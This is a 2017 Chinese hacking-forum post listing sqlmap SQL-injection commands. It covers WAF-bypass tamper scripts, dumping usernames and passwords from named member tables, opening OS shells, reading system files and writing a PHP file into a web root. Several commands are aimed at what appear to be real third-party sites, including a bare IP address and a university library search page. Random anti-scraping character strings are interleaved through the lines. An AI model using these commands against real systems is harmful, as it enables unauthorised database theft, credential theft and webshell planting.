找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1703|回复: 0
打印 上一主题 下一主题

sqlmap使用实例

[复制链接]
跳转到指定楼层
楼主
发表于 2017-5-19 17:03:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/pentest/database/sqlmap
4 _& g) B+ G; X
9 x" a$ G, p! O# U& gupdate :::::>     in the folder   after  execute    following   order : svn update2 p; V' W; o" P% T$ V
& Q" U7 x5 M, e2 m- c
sqlmap.py -r 1.txt --current-db
2 |. o5 `# P, a! \5 i6 Y6 c) X' Z5 }1 N6 W' |% B
v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”% A2 O2 W; c2 U2 `1 P  W
3 y8 ]- c5 T4 M& V+ C  w% z
==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) * V$ M$ Y2 p( U$ V) e# Q
猜解数据库
) r4 ~5 y5 i: b  Q3 I  P./sqlmap.py -u "injection-url" --dbs
9 ]+ _- W. z. `  P7 vsqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"
+ ^1 S+ Y2 I3 |2 w2 y% x+ [( j* R4 P0 l! v
猜解表名; _& i! T- P6 u" i
./sqlmap.py -u "injection-url" -D database_name --tables
8 f/ k& D" N0 a* ^7 ?& c; y
6 p$ e0 [+ P3 ?sqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"- {; q' j$ }: P0 M2 V* k' u3 v
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
7 f; L. V+ z1 l, M! Z* _
) s7 _/ b1 m( E( T7 ksqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump
9 J7 e# j4 U' X1 ^9 I- K
3 Y6 Q2 \% A1 ]- K. {$ f7 jsqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"
$ n! i: S% t8 l" |3 i8 m5 Ksqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"8 o( x8 P' g1 U6 W
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py" 5 L( H! D  Y- o# i; }4 o
sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"
) c9 Z/ G! U9 s3 |- a6 W* _
4 w( m  j; a; {3 usqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"  {" C) y& E( f/ {
sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"1 c' c3 h- x6 b% P5 Z, l& }
sqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"
0 n  }! `* S- n, f/ t% Nsqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"8 F7 B9 D' W  g/ D6 V; A
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump
0 Y+ y5 P8 N6 a0 X$ m  {% J+ ]* f6 [4 \* O1 r3 p
sqlmap.py -r 1.txt -v 3 --dbs  --batch --tamper "space2morehash.py" 绕过防火墙了
8 ~' B. V) k) J9 z1 ^  C+ lsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"& _+ p% o. F$ |4 u

0 A5 Z5 l: Y  i* _sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"
! `; v; j4 q% v. V4 k猜解列名& r# {8 i' [9 n  }5 U/ i
./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
1 R9 Z5 A  T* L9 `; y- n- m4 b8 `1 j
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py"
5 ]3 b4 X& z: q% U7 U* Q+ N* c3 E; esqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py" % y$ R+ ?3 C: Z. C/ s* X* P
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"
% ^3 c0 M( S- p  b; c
  s/ Z6 Y/ o5 K: Ssqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"  G8 d! m3 s4 u2 a1 K
&submit=Go
' c% z6 D! Q( O- v5 r! x猜解值
& L8 z2 m; t% T; N" f3 n( k./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump' V' B  u2 c- K5 [+ @
========================================================2 r$ d3 y- n/ n7 P! w! s+ E8 e9 @8 j
搜索表名中包括mana字符的
' v! q7 a0 p7 p+ I/sqlmap.py -u "injection-url" -T mana --search+ y9 p! N/ D/ F. ~( C6 h1 u5 f5 O
返回一个交互式sql shell
, W  L- |; k- z+ E8 t/sqlmap.py -u "injection-url" --sql-shell
4 e( d5 ^) s2 G$ a! u) l& I" T读取指定文件(需权限)3 ~9 Q- V. W8 ]9 B2 @: |
/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"7 g& Z  j+ i, o1 h# S3 `
查看当前 用户 及 数据库 / k: i* y" f; X8 A9 D9 A8 S
/sqlmap.py -u "injection-url" --current-user --current-db& R( I4 {) C/ {; T. Q# A
本地文件 写入 远程目标绝对路径
5 @; ?1 i) K9 Q/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径* e4 o1 z% A6 r( b! a8 T
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py"
  M3 ]  b! y& [" y/ ]6 r! c( P4 a
sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
. b3 Y* r9 A8 z2 V查看某用的权限
: b8 t( V) E1 @6 x5 q( i3 Z. Y2 H/sqlmap.py -u "injection-url" --privileges -U root
! n* f+ \9 P- s# O- k/ F0 G查看当前用户是否为dba
( A$ S$ g+ L3 B# t  \/sqlmap.py -u "injection-url" --is-dba2 ]8 Y5 u  K0 w0 k# J
读取所有数据库用户或指定数据库用户的密码
8 |7 z; M# \- N! N5 n/ `( Ssqlmap.py -r 1.txt --users --passwords! K6 }2 \1 x- H) F* C! X( U) y
sqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py"
% o# R2 X, n: q6 t+ F! D; f4 z* b  ], H! E
/sqlmap.py -u "injection-url" --passwords -U root! Y! ~8 b, @2 m! q& |/ @3 A, `
& @( ]7 P# E6 d  A# I/ _
--start&&--stop 与 --first&&--last 的区别* W9 T, K# i& v9 o' K* s& j
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump   (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)
7 h" v" c8 D7 c: l: R) t. @, [1 G5 u. J7 |$ W+ o; p9 k" h
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)
' G6 ~/ y5 {% }7 K/ Z8 w/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables/ L$ p7 |4 G% [. w" C4 \3 n' ^( a
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns
- [  k: k+ V. U0 E: @) l! y6 J# @  `. B5 O
执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)
3 M6 _- R$ G! S/ {0 ]$ c/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"
0 O5 f5 ?. O0 C
2 x# K$ L0 a. \5 i( S- ]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表